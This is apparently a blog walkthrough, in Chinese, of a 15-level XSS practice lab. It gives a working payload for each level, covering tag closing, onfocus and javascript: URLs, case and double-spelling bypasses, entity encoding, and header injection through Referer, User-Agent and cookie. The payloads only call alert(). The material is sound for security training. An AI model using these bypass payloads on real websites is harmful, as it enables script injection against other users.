XSS漏洞靶场

yang-ace / 2024-04-27 / 原文

XSS漏洞靶场

level1

查看网站源码,发现get传参name的值test插入到了html头里面,还回显payload长度

image-20240427092128256

image-20240427092157464

插入js代码,get传参

?name=<script>alert()</script>

image-20240427092305513

本关小结:JS弹窗函数alert()

level2

image-20240427093027069

貌似不对,查看下源码

image-20240427094148711

闭合掉双引号

"> <script>alert()</script> <"

image-20240427094432780

本关小结:闭合绕过

level3

输入123456

image-20240427094646033

但是htmlspecialchars函数只针对<>大于小于进行html实体化,我们还可以利用其他方法进行xss注入,这里利用onfocus事件绕过

image-20240427095019288

简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

' onfocus=javascript:alert() '

image-20240427095130241

本关小结:onfocus可以绕过实体化(即<>号的过滤)

level4

image-20240427095514231

" onfocus=javascript:alert() "

image-20240427095812651

level5

image-20240427100055859

过滤了js标签onfocus事件,将字母转换小写

用a href标签法

image-20240427100703935

href属性的意思是 当标签被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码

添加一个标签得闭合前面的标签

点击xxx,出发a标签即可

"> <a href = javascript:alert()>xxx</a> <"

image-20240427101202296

level6

image-20240427101340472

过滤很多,尝试大小写绕过

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>xxx</a> <"

本关小结:大小写法绕过str_replace函数

level7

image-20240427102226416

将on、src、data、href过滤,我们使用双拼写绕过

"> <a hhrefref=javascscriptript:alert()>xxx</a> <"

本关小结:双拼写绕过删除函数

level8

image-20240427103024461

加上了小写转换

我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪代码

javascript:alert()

使用unicode编码

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0029

image-20240427103310201

本关小结:href属性自动解析unicode编码

level9

image-20240427103833685

当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

image-20240427103840675

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

level10

image-20240427104223512

这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

不加type属性的话,那个input标签是不会显示在网页上的,加了顺便能闭合掉双引号

?t_sort=" onfocus=javascript:alert() type="text

image-20240427104332809

level11

用burpsuite抓包一下,添加http头

Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

image-20240427112907834

对比发现 把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头

Referer: " onfocus=javascript:alert() type="text

image-20240427112835249

level12

这关肯定是User-Agent头了

bp

image-20240427113200252

" onfocus=javascript:alert() type="text

image-20240427113442910

level13

名字是t_cook猜是cookie

image-20240427113718882

" onclick=alert() type="text 

刷新,点击框框

image-20240427113747324

level14

我的靶场有问题

level15

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

image-20240427114758410

尝试包含第一关

?src='/level1.php'

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,

'level1.php?name=<img src=1 οnerrοr=javascript:alert("qiushuo")>'